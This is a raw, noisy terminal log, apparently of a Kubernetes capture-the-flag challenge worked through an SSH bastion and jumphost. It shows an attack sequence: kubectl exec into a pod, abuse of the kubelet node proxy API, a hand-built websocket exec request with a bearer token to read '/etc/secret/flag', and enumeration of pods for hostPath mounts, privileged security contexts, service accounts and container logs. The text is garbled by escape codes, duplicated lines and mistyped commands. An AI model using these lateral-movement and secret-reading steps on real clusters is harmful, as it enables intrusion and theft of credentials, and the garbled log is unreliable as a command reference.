SSHEOF[?2004l[?2004h> printf "GET /api/v1/nodes/node-2/proxy/exec/sr71-49fj1d92/sr71-8d5bc67c9-kzl82//stealth?command=cat&command=/etc/secret/flag&stdout=1 HTTP/1.1\r\nHost: kubernettes.default.svc\r\nAuthorization: Bearer %s\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\nSec-WebSocket-Version:: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n" "$TOKEN" [?2004l[?2004h> sleep 5 [?2004l[?2004h> } | openssl s_client -connect kubernetes.default.svc:443 -quiet 2>/dev/null | ood -c | head -40 [?2004l[?2004h> ' [?2004l0000000 H T T P / 1 . 1 4 0 0 B a d 0000020 R e q u e s t \r \n C o n t e n 0000040 t - L e n g t h : 5 2 \r \n C o 0000060 n t e n t - T y p e : t e x t 0000100 / p l a i n ; c h a r s e t = 0000120 u t f - 8 \r \n D a t e : W e d 0000140 , 2 5 M a r 2 0 2 6 1 2 0000160 : 0 1 : 5 7 G M T \r \n \r \n y o 0000200 u m u s t s p e c i f y a 0000220 t l e a s t 1 o f s t d 0000240 i n , s t d o u t , s t d e 0000260 r r 0000262 [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
# Get jumphost pod spec from kubelet - check for hostPath mounts or privileged
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"volumeMounts\":\[.*?\]" | head -3
echo "=== VOLUMES ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"hostPath\"[^}]*" | head -3
echo "=== SECURITY ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"securityContext\"[^}]*" | head -3
echo "=== SR71 SECURITY ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "sr71-8d5bc67c9-kzl82" | grep -oP "\"securityContext\"[^}]*" | head -3
'
exit
SSHEOFecho "=== SR71 SECURITY ==="
kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\n{/g" | grep "sr71-8d5bc67c9-kzl82" | grep -oP "\"securityContext\"[^}]*" | head -3
'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> # Get jumphost pod spec from kubelet - check for hostPath mounts or privileged [A> # Get jumphost pod spec from kubelet - check for hostPath mounts or privilege[Kd
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"volumeMounts\":\[.*?\]" | head -3
[?2004l[?2004h> echo "=== VOLUMES ==="
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"hostPath\"[^}]*" | head -33
[?2004l[?2004h> echo "=== SECURITY ==="
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "jumphost-5f66c55446-d5bkl" | grep -oP "\"securityContext\"[^}]*" | head -3
[?2004l[?2004h> echo "=== SR71 SECURITY ==="
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | sed "s/},{/}\nn{/g" | grep "sr71-8d5bc67c9-kzl82" | grep -oP "\"securityContext\"[^}]*" | head -3
[?2004l[?2004h> '
[?2004l=== VOLUMES ===
=== SECURITY ===
=== SR71 SECURITY ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -30 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' # Save sr71 pod JSON and extract key info kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ > /tmp/pods.json 2>/dev/null # Use grep with context to find sr71 specific data grep -o "sr71-49fj1d92[^,]*" /tmp/pods.json | sort -u | head -5 echo "===" # Find all volume related data near sr71 grep -oP "secret-volume.*?flag" /tmp/pods.json | head -3 echo "=== SR71 SERVICE ACCOUNT ===" grep -oP "\"serviceAccountName\":\"[^\"]*\"" /tmp/pods.json | sort -u echo "=== CHECK CONTAINER NAME ===" grep -oP "\"containerStatuses\":\[.*?\]" /tmp/pods.json | grep sr71 | head -1 | tr "," "\n" | grep name echo "=== TRY CONTAINER LOGS ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" 2>&1 ' exit SSHEOF
kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/stealth" 2>&1 ' exit [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc ' [?2004l[?2004h> # Save sr71 pod JSON and extract key info [?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ > /tmp/pods.json 2>/dev/nulll [?2004l[?2004h> # Use grep with context to find sr71 specific data [?2004l[?2004h> grep -o "sr71-49fj1d92[^,]*" /tmp/pods.json | sort -u | head -5 [?2004l[?2004h> echo "===" [?2004l[?2004h> # Find all volume related data near sr71 [?2004l[?2004h> grep -oP "secret-volume.*?flag" /tmp/pods.json | head -3 [?2004l[?2004h> echo "=== SR71 SERVICE ACCOUNT ===" [?2004l[?2004h> grep -oP "\"serviceAccountName\":\"[^\"]*\"" /tmp/pods.json | sort -u [?2004l[?2004h> echo "=== CHECK CONTAINER NAME ===" [?2004l[?2004h> grep -oP "\"containerStatuses\":\[.*?\]" /tmp/pods.json | grep sr71 | head -1 || tr "," "\n" | grep name [?2004l[?2004h> echo "=== TRY CONTAINER LOGS ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71--8d5bc67c9-kzl82/stealth" 2>&1 [?2004l[?2004h> ' [?2004lsr71-49fj1d92" === === SR71 SERVICE ACCOUNT === "serviceAccountName":"calico-node" "serviceAccountName":"default" "serviceAccountName":"jumphost" "serviceAccountName":"kube-proxy" === CHECK CONTAINER NAME === === TRY CONTAINER LOGS === [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.